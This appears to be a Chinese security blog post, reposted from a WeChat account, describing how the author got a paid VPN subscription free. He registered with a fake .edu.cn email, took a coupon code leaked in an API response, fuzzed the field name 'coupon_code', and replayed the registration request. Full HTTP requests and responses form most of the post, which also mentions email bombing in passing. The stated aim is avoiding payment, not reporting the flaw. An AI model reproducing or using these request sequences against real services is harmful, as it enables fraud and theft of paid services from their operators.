【漏洞挖掘】如何免费获得的300/年vpn的账户

admin 2024年2月22日12:27:12评论18 views字数 3647阅读12分9秒阅读模式

免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

漏洞挖掘

吊毛A朋友向我询问是否有VPN可用以访问P站。我义不容辞地转而向B朋友寻求帮助,看是否可以借用一下。B朋友给了我一个链接(www.example.com),让我登录后查看。该网站有两个版本:1、签到即可免费使用;2、需付费使用。免费版本极其卡顿,于是我尝试了付费版本。惊讶的是,价格高达300元/年,这令我无法接受。我决定测试是否存在任何潜在漏洞,以绕过支付或以免费方式使用付费订阅的漏洞。

【漏洞挖掘】如何免费获得的300/年vpn的账户

先尝试更改HTTP请求中的金额等,但这种方法不起作用。后百度、必应等相关搜索"www.example.com"看看是否有促销活动可提供我使用或滥用来免费使用。翻了几页看到如果学生使用教育机构电子邮件(带有 .edu.cn)注册帐户,他们将免费为学生提供 1 年。
由于本人早已毕业,学校已把原来学生邮箱给关停,无法获得免费帐户。后来找在校生借了一个(走一遍正常流程。看是否有问题点),检查了电子邮件是如何发送给用户的以及其中邮件可能包含什么的。发现问题所在如下。
漏洞利用
使用了一个假的.edu.cn电子邮件,即:[email protected]并发送请求
POST /Api/EduCoupons/SendMail HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0Accept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: https://example.com/X-Requested-With: XMLHttpRequestContent-Type: application/jsonContent-Length: 37Cookie: Connection: close{"email":"[email protected]"}

这个POST请求没有什么特别的(当然你可以尝试邮件轰炸),但是当我看这个POST请求的响应时,有点可疑。

HTTP/1.1 200 OKDate: Wed, 18 Feb 2024 07:13:37 GMTContent-Type: application/jsonContent-Length: 28Connection: closeSet-Cookie: X-Content-Type-Options: nosniffEtag: "3147526947"{“code”: “cdea258cfa67”}

响应包的内容"cdea258cfa67",该内容是页面提到的"向您发送一个链接,领取您的免费会员账户",发送了一个带有链接的邮件,但响应包却泄露了为.edu.cn注册而生成的一串代码。(这个代码,在借在校生走正常流程的时候,知道是优惠卷)。

下一个问题是如何使用代码或如何验证代码是否有效,没有包含添加优惠券代码的字段

【漏洞挖掘】如何免费获得的300/年vpn的账户

下一个问题是如何使用代码或如何验证代码是否有效,没有包含添加优惠券代码的字段。

第一次正常请求:

POST /Api/Register HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0Accept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: https://example.com/X-Requested-With: XMLHttpRequestContent-Type: application/jsonContent-Length: 37Cookie: Connection: close{"tos":"true","name":"asdasd","email":"[email protected]","passwd":"aasdasdasdas","repasswd":"aasdasdasdas“,"emailcode":"123123","fingerprint":"44ce0eaf8d92f30c44a31d911651ed11"}

响应内容是正常的。

第二次加入code字段请求测试:

POST /Api/Register HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0Accept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: https://example.com/X-Requested-With: XMLHttpRequestContent-Type: application/jsonContent-Length: 37Cookie: Connection: close{"tos":"true","name":"asdasd","email":"[email protected]","passwd":"aasdasdasdas","repasswd":"aasdasdasdas","code":"cdea258cfa67","emailcode":"123123","fingerprint":"44ce0eaf8d92f30c44a31d911651ed11"}
响应包却500错误了,猜测这处优惠卷字段不为code
通过fuzz优惠卷字段名最终得到字段为"coupon_code"。在POST请求并添加"coupon_code": "cdea258cfa67"
第三次加入coupon_code字段请求:
POST /Api/Register HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0Accept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: https://example.com/X-Requested-With: XMLHttpRequestContent-Type: application/jsonContent-Length: 37Cookie: Connection: close{"tos":"true","name":"asdasd","email":"[email protected]","passwd":"aasdasdasdas","repasswd":"aasdasdasdas","coupon_code":"cdea258cfa67","emailcode":"123123","fingerprint":"44ce0eaf8d92f30c44a31d911651ed11"}
HTTP/1.1 200 OKDate: Wed, 18 Feb 2024 07:13:37 GMTContent-Type: application/jsonContent-Length: 28Connection: closeSet-Cookie: X-Content-Type-Options: nosniffEtag: "3147526947"{"user": {"id": 18127489,"email": "[email protected]"},“completed”: {“successful”: true,“duration”: “year”,“free”: true},“redirect_to_url”: “http://example.com/my/info”}
最终获得1年。

【漏洞挖掘】如何免费获得的300/年vpn的账户

设置公众号星标,关注+星标不迷路。

【漏洞挖掘】如何免费获得的300/年vpn的账户

原文始发于微信公众号(漏洞文库):【漏洞挖掘】如何免费获得的300/年vpn的账户

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月22日12:27:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞挖掘】如何免费获得的300/年vpn的账户http://cn-sec.com/archives/2514698.html

发表评论

匿名网友 填写信息